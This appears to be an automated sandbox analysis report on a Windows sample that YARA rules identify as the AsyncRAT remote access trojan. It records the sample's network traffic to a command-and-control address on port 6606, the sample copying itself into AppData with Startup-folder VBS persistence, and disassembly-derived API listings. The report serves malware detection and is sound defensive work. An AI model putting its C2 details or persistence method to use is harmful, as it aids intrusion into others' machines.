ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:35:03.035986900 CET	49799	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:03.040844917 CET	6606	49799	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:03.040920973 CET	49799	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:03.056744099 CET	49799	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:03.061604977 CET	6606	49799	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:24.397182941 CET	6606	49799	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:24.397305012 CET	49799	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:29.462718010 CET	49799	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:29.463323116 CET	49970	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:29.467652082 CET	6606	49799	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:29.468381882 CET	6606	49970	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:29.468451023 CET	49970	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:29.471846104 CET	49970	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:29.476725101 CET	6606	49970	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:50.836570024 CET	6606	49970	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:50.836658955 CET	49970	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:55.852206945 CET	49970	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:55.852624893 CET	49972	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:55.857877970 CET	6606	49970	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:55.857892990 CET	6606	49972	69.174.100.131	192.168.2.7
Jan 11, 2025 04:35:55.857973099 CET	49972	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:55.858325958 CET	49972	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:35:55.863084078 CET	6606	49972	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:17.243068933 CET	6606	49972	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:17.243153095 CET	49972	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:22.258052111 CET	49972	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:22.258498907 CET	49973	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:22.263756990 CET	6606	49972	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:22.264193058 CET	6606	49973	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:22.264352083 CET	49973	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:22.264672041 CET	49973	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:22.269503117 CET	6606	49973	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:43.616247892 CET	6606	49973	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:43.616316080 CET	49973	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:48.616964102 CET	49973	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:48.617506981 CET	49974	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:48.621825933 CET	6606	49973	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:48.622342110 CET	6606	49974	69.174.100.131	192.168.2.7
Jan 11, 2025 04:36:48.622437954 CET	49974	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:48.622800112 CET	49974	6606	192.168.2.7	69.174.100.131
Jan 11, 2025 04:36:48.627646923 CET	6606	49974	69.174.100.131	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:34:43.723043919 CET	59782	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:34:43.723043919 CET	192.168.2.7	1.1.1.1	0x7bec	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:34:43.729803085 CET	1.1.1.1	192.168.2.7	0x7bec	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

Target ID:	0
Start time:	22:34:46
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\egpTyFpA8v.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\egpTyFpA8v.exe"
Imagebase:	0x430000
File size:	967'680 bytes
MD5 hash:	BC18B6803A287E63B3668B5817F12419
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:34:47
Start date:	10/01/2025
Path:	C:\Users\user\AppData\Local\preinhered\Wausaukee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\egpTyFpA8v.exe"
Imagebase:	0x950000
File size:	967'680 bytes
MD5 hash:	BC18B6803A287E63B3668B5817F12419
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: rat_win_asyncrat, Description: Detect AsyncRAT based on specific strings, Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Author: Sekoia.io Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:34:48
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\egpTyFpA8v.exe"
Imagebase:	0x350000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	22:34:57
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs"
Imagebase:	0x7ff7f9040000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:34:58
Start date:	10/01/2025
Path:	C:\Users\user\AppData\Local\preinhered\Wausaukee.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"
Imagebase:	0x950000
File size:	967'680 bytes
MD5 hash:	BC18B6803A287E63B3668B5817F12419
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: rat_win_asyncrat, Description: Detect AsyncRAT based on specific strings, Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, Author: Sekoia.io Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:35:00
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"
Imagebase:	0x160000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	4.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	170

Executed Functions

Function 00433B3A Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00433B68
IsDebuggerPresent.KERNEL32 ref: 00433B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,P@,004F52E0,?,?), ref: 00433BEB

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

Part of subcall function 0044092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00433C14,P@,?,?,?), ref: 0044096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00433C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,004E7770,00000010), ref: 0046D281
SetCurrentDirectoryW.KERNEL32(?,P@,?,?,?), ref: 0046D2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,004E4260,P@,?,?,?), ref: 0046D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 0046D346

Part of subcall function 00433A46: GetSysColorBrush.USER32(0000000F), ref: 00433A50
Part of subcall function 00433A46: LoadCursorW.USER32(00000000,00007F00), ref: 00433A5F
Part of subcall function 00433A46: LoadIconW.USER32(00000063), ref: 00433A76
Part of subcall function 00433A46: LoadIconW.USER32(000000A4), ref: 00433A88
Part of subcall function 00433A46: LoadIconW.USER32(000000A2), ref: 00433A9A
Part of subcall function 00433A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00433AC0
Part of subcall function 00433A46: RegisterClassExW.USER32(?), ref: 00433B16

Part of subcall function 004339D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00433A03
Part of subcall function 004339D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00433A24
Part of subcall function 004339D5: ShowWindow.USER32(00000000,?,?), ref: 00433A38
Part of subcall function 004339D5: ShowWindow.USER32(00000000,?,?), ref: 00433A41

Part of subcall function 0043434A: _memset.LIBCMT ref: 00434370
Part of subcall function 0043434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00434415

Strings

P@, xrefs: 00433BAF, 00433C0A, 0046D30A
runas, xrefs: 0046D33A
This is a third-party compiled AutoIt script., xrefs: 0046D279
%L, xrefs: 00433C44

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: P@$This is a third-party compiled AutoIt script.$runas$%L
API String ID: 529118366-2090550214
Opcode ID: dccdfbc5d9e5e567a615d2ec14087e3ec0ffbc0bd5dca889c181f58e0542cdce
Instruction ID: 5d57f81c1e0482f716e4892394bc2ceac60426254a4214a4856b9edb30477701
Opcode Fuzzy Hash: dccdfbc5d9e5e567a615d2ec14087e3ec0ffbc0bd5dca889c181f58e0542cdce
Instruction Fuzzy Hash: 88511671E04108AADB10EFB5DC05AFE7B74AF08715F0061BBF651A22A1DA785605CB2D

Function 004349A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 004349CD

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

GetCurrentProcess.KERNEL32(?,004BFAEC,00000000,00000000,?), ref: 00434A9A
IsWow64Process.KERNEL32(00000000), ref: 00434AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00434AE7
FreeLibrary.KERNEL32(00000000), ref: 00434AF2
GetSystemInfo.KERNEL32(00000000), ref: 00434B23
GetSystemInfo.KERNEL32(00000000), ref: 00434B2F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 5c9a4357339921b4f17e902603f7ccf7e627c574920bb4151bd5ef683f0001e2
Instruction ID: 44c7c845859ebce400d2f4e4cdedf7bd5d9c1ab85570b55a0a8f6daf16cab874
Opcode Fuzzy Hash: 5c9a4357339921b4f17e902603f7ccf7e627c574920bb4151bd5ef683f0001e2
Instruction Fuzzy Hash: 8B91A2319897C4DAC731DBA884501ABFFE5AF6D300F44596FD0CA93B41D228B948C76E

Function 00434E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00434D8E,?,?,00000000,00000000), ref: 00434E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00434D8E,?,?,00000000,00000000), ref: 00434EB0
LoadResource.KERNEL32(?,00000000,?,?,00434D8E,?,?,00000000,00000000,?,?,?,?,?,?,00434E2F), ref: 0046D937
SizeofResource.KERNEL32(?,00000000,?,?,00434D8E,?,?,00000000,00000000,?,?,?,?,?,?,00434E2F), ref: 0046D94C
LockResource.KERNEL32(00434D8E,?,?,00434D8E,?,?,00000000,00000000,?,?,?,?,?,?,00434E2F,00000000), ref: 0046D95F

Strings

SCRIPT, xrefs: 00434EA6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 595d754d8783406d79fdcf7a50e3cf413845b8c6b575e8937f3d0be937ecb9b9
Instruction ID: e5beebecaab1b45ec31f6b02a7f61cdfdc66dedf0f784a1ec72759cb478a5677
Opcode Fuzzy Hash: 595d754d8783406d79fdcf7a50e3cf413845b8c6b575e8937f3d0be937ecb9b9
Instruction Fuzzy Hash: 7C115E75240700BFD7258B65EC49F677BBAFBC9B12F204279F409D6250DB61EC048665

Function 0043FCE0 Relevance: 9.8, APIs: 3, Strings: 2, Instructions: 1040COMMON

Download Yara Rule

Strings

pbO, xrefs: 004749B9
%L, xrefs: 0043FCF3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharUpper
String ID: pbO$%L
API String ID: 3964851224-529566928
Opcode ID: 972f198a3cbabd4edcb83ca59df65d29d34c62518878e477accfe6ed9fc4df4d
Instruction ID: eddd68665aca6b03fe9dc150d960ae3151f5c9fa24aca202cec267b285923c74
Opcode Fuzzy Hash: 972f198a3cbabd4edcb83ca59df65d29d34c62518878e477accfe6ed9fc4df4d
Instruction Fuzzy Hash: 00929D746083418FD720DF24C480B6BB7E1BF89304F15896EE98A8B352D779EC55CB9A

Function 0043E6A0 Relevance: 6.1, Strings: 4, Instructions: 1102COMMON

Download Yara Rule

Strings

DdO, xrefs: 0043EAC1
Variable must be of type 'Object'., xrefs: 00473E62
(!, xrefs: 00473AF5, 00473B2E, 00473DAA
DdO, xrefs: 0043EABA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID: (!$DdO$DdO$Variable must be of type 'Object'.
API String ID: 0-1082842394
Opcode ID: 25f30395301c233a9084d8d3e8b9a0416f87ce6ceadbd601eac37848eb945549
Instruction ID: ecd94180f3dd0fa48069be316de8db93c9861611fc32c459ec4af120ce1e95e6
Opcode Fuzzy Hash: 25f30395301c233a9084d8d3e8b9a0416f87ce6ceadbd601eac37848eb945549
Instruction Fuzzy Hash: 21A2AF74A01205CFCB24DF5AC480AAEB7B1FF58314F25906BE905AB391D739ED42CB99

Function 004347D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00434834

Part of subcall function 0045336C: __lock.LIBCMT ref: 00453372
Part of subcall function 0045336C: DecodePointer.KERNEL32(00000001,?,00434849,00487C74), ref: 0045337E
Part of subcall function 0045336C: EncodePointer.KERNEL32(?,?,00434849,00487C74), ref: 00453389

Part of subcall function 004348FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00434915
Part of subcall function 004348FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0043492A

Part of subcall function 00433B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00433B68
Part of subcall function 00433B3A: IsDebuggerPresent.KERNEL32 ref: 00433B7A
Part of subcall function 00433B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,P@,004F52E0,?,?), ref: 00433BEB
Part of subcall function 00433B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00433C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00434874

Strings

, xrefs: 00434851, 00434864

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-2740779761
Opcode ID: 605ccfdec59096966fe8a744696a4b7ae21dacb6b9aa299429c5335e923184e5
Instruction ID: d60b2d46e873bca2ef5a40cc3c69db13869557659332541a4e7907aed551f901
Opcode Fuzzy Hash: 605ccfdec59096966fe8a744696a4b7ae21dacb6b9aa299429c5335e923184e5
Instruction Fuzzy Hash: 8B11AC718083019BC700EF69EC0591AFFE8EB89754F114A2FF444832B1DBB49918CF9A

Function 0049445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0046E398), ref: 0049446A
FindFirstFileW.KERNELBASE(?,?), ref: 0049447B
FindClose.KERNEL32(00000000), ref: 0049448B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 6191dbfa0692489dc8655b93bac99d5aa7e6cb6b4eb00174c0bf0de80a71e23e
Instruction ID: 4495b08c62dc998e64bab6951bd6f27a4c62454f7ff470b5dbf300275a26c849
Opcode Fuzzy Hash: 6191dbfa0692489dc8655b93bac99d5aa7e6cb6b4eb00174c0bf0de80a71e23e
Instruction Fuzzy Hash: 4AE0D832410500674614AB78EC0D8EA7B9C9E45335F100776FC39C11D0E7785905959E

Function 004409D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00440A5B
timeGetTime.WINMM ref: 00440D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00440E53
Sleep.KERNEL32(0000000A), ref: 00440E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00440EFA
DestroyWindow.USER32 ref: 00440F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00440F20
Sleep.KERNEL32(0000000A,?,?), ref: 00474E83
TranslateMessage.USER32(?), ref: 00475C60
DispatchMessageW.USER32(?), ref: 00475C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00475C82

Strings

pbO, xrefs: 00474F59
@GUI_CTRLHANDLE, xrefs: 00474FE4
pbO, xrefs: 00475003
@TRAY_ID, xrefs: 0047578F
pbO, xrefs: 004757B4
@GUI_WINHANDLE, xrefs: 00474F8F
@COM_EVENTOBJ, xrefs: 004754F0
@GUI_CTRLID, xrefs: 00474F3A
pbO, xrefs: 00474FAE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pbO$pbO$pbO$pbO
API String ID: 4212290369-442891389
Opcode ID: 0ec0d6f2a0bfe7b1055ca361cc30de8ee6f821d45c5f04245d5cac84c3a41730
Instruction ID: b46cb7ef234b6ad573a81df93f563271d8dbb332f0387a95d7ad7de89852f9ed
Opcode Fuzzy Hash: 0ec0d6f2a0bfe7b1055ca361cc30de8ee6f821d45c5f04245d5cac84c3a41730
